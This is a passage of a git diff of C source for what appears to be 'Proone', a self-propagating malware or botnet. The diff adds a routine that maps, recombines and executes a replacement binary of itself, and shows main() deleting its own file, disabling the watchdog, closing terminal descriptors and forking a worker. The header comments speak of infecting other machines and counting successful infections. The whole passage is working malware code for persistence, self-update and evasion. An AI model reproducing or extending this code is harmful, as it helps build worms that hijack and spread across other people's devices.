uint8_t *m_nybin = NULL; + size_t nybin_len = 0; + off_t ofs; + int fd = -1; + char **args = NULL; + char *add_args[1] = { NULL }; + + fd = open(prne_s_g->ny_bin_path, O_RDONLY); + unlink(prne_s_g->ny_bin_path); + prne_s_g->ny_bin_path[0] = 0; + if (fd < 0) { + goto END; + } + ofs = lseek(fd, 0, SEEK_END); + if (ofs < 0) { + goto END; + } + nybin_len = (size_t)ofs; + + m_nybin = (const uint8_t*)mmap( + NULL, + nybin_len, + PROT_READ, + MAP_SHARED, + fd, + 0); + close(fd); + fd = -1; + if (m_nybin == MAP_FAILED) { + m_nybin = NULL; + goto END; + } + add_args[0] = do_recombination(m_nybin, nybin_len); + if (add_args[0] == NULL) { + goto END; + } + + add_args[0] = add_args[0]; + args = prne_htbt_parse_args( + prne_s_g->ny_bin_args, + sizeof(prne_s_g->ny_bin_args), + 1, + add_args, + NULL, + SIZE_MAX); + if (args == NULL) { + goto END; + } + do_exec(args[0], args); + +END: + prne_close(fd); + if (m_nybin != NULL) { + munmap((void*)m_nybin, nybin_len); + } + if (add_args[0] != NULL) { + unlink(add_args[0]); + prne_free(add_args[0]); + } + prne_free(args); +} + int main (const int argc, const char **args) { static int exit_code; static bool loop = true; + // done with the terminal + close(STDIN_FILENO); +#ifndef PRNE_DEBUG + // Some stupid library can use these + close(STDOUT_FILENO); + close(STDERR_FILENO); +#endif + sigemptyset(&ss_exit); sigemptyset(&ss_all); sigaddset(&ss_exit, SIGINT); @@ -716,12 +1025,10 @@ int main (const int argc, const char **args) { sigaddset(&ss_all, SIGPIPE); prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC); - prne_g.resolv = NULL; prne_g.parent_pid = getpid(); - prne_g.child_pid = 0; + prne_g.blackhole[0] = -1; + prne_g.blackhole[1] = -1; prne_g.shm_fd = -1; - prne_g.bin_ready = false; - prne_g.is_child = false; prne_init_bin_archive(&prne_g.bin_archive); mbedtls_x509_crt_init(&prne_g.ssl.ca); prne_mbedtls_entropy_init(&prne_g.ssl.entpy); @@ -730,12 +1037,11 @@ int main (const int argc, const char **args) { mbedtls_x509_crt_init(&prne_g.s_ssl.crt); mbedtls_pk_init(&prne_g.s_ssl.pk); mbedtls_dhm_init(&prne_g.s_ssl.dhm); - prne_g.s_ssl.ready = false; mbedtls_ssl_config_init(&prne_g.c_ssl.conf); mbedtls_x509_crt_init(&prne_g.c_ssl.crt); mbedtls_pk_init(&prne_g.c_ssl.pk); - prne_g.c_ssl.ready = false; + open_blackhole(); init_proone(args[0]); /* inits that need outside resources. IN THIS ORDER! */ @@ -750,22 +1056,11 @@ int main (const int argc, const char **args) { delete_myself(args[0]); disasble_watchdog(); - - // load data from stdin if (argc > 1) { set_host_credential(args[1]); } - // done with the terminal - close(STDIN_FILENO); -#ifndef PRNE_DEBUG - // Some stupid library can use these - close(STDOUT_FILENO); - close(STDERR_FILENO); -#endif - sigprocmask(SIG_BLOCK, &ss_all, NULL); - // main loop while (loop) { prne_g.child_pid = fork(); @@ -812,9 +1107,10 @@ int main (const int argc, const char **args) { prne_dbgpf("* Detected new bin. Attempting to exec()\n"); run_ny_bin(); // run_ny_bin() returns if fails - prne_dbgperr("** run_ny_bin() failed"); } - break; + else { + break; + } } } else if (WIFSIGNALED(status)) { @@ -823,7 +1119,7 @@ int main (const int argc, const char **args) { if (has_ny_bin) { unlink(prne_s_g->ny_bin_path); - prne_memzero(prne_s_g->ny_bin_path, sizeof(prne_s_g->ny_bin_path)); + prne_s_g->ny_bin_path[0] = 0; } sleep(1); @@ -833,6 +1129,7 @@ int main (const int argc, const char **args) { prne_g.shm_fd = -1; prne_g.is_child = true; prne_g.child_start = prne_gettime(CLOCK_MONOTONIC); + prne_g.child_pid = getpid(); exit_code = proone_main(); break; @@ -842,23 +1139,21 @@ int main (const int argc, const char **args) { END: prne_free_bin_archive(&prne_g.bin_archive); - prne_g.bin_ready = false; mbedtls_ssl_config_free(&prne_g.s_ssl.conf); mbedtls_x509_crt_free(&prne_g.s_ssl.crt); mbedtls_pk_free(&prne_g.s_ssl.pk); mbedtls_dhm_free(&prne_g.s_ssl.dhm); - prne_g.s_ssl.ready = false; mbedtls_ssl_config_free(&prne_g.c_ssl.conf); mbedtls_x509_crt_free(&prne_g.c_ssl.crt); mbedtls_pk_free(&prne_g.c_ssl.pk); - prne_g.c_ssl.ready = false; mbedtls_x509_crt_free(&prne_g.ssl.ca); mbedtls_ctr_drbg_free(&prne_g.ssl.rnd); mbedtls_entropy_free(&prne_g.ssl.entpy); deinit_shared_global(); deinit_proone(); + close_blackhole(); return exit_code; } diff --git a/src/proone.h b/src/proone.h index cbd1cd9..a3aac4d 100644 --- a/src/proone.h +++ b/src/proone.h @@ -1,6 +1,7 @@ #pragma once #include "pack.h" #include "resolv.h" +#include "htbt.h" #include <stdint.h> #include <stdbool.h> @@ -23,15 +24,16 @@ struct prne_global { // TODO: tidy init code when finalised * Could be NULL. Just keep infecting other machines without it. */ prne_resolv_t *resolv; + prne_htbt_t *htbt; pid_t parent_pid; pid_t child_pid; - int shm_fd; uint8_t *m_dvault; const uint8_t *m_exec; size_t exec_size; const uint8_t *m_exec_dvault; + int blackhole[2]; + int shm_fd; uint16_t dvault_size; - bool bin_ready; bool is_child; prne_bin_archive_t bin_archive; @@ -65,7 +67,7 @@ struct prne_shared_global { uint64_t bne_cnt; // Number of successful infections. uint64_t infect_cnt; - // null-terminated name of new binary + // null-terminated path to the new binary image char ny_bin_path[256]; char ny_bin_args[1024]; size_t host_cred_len; |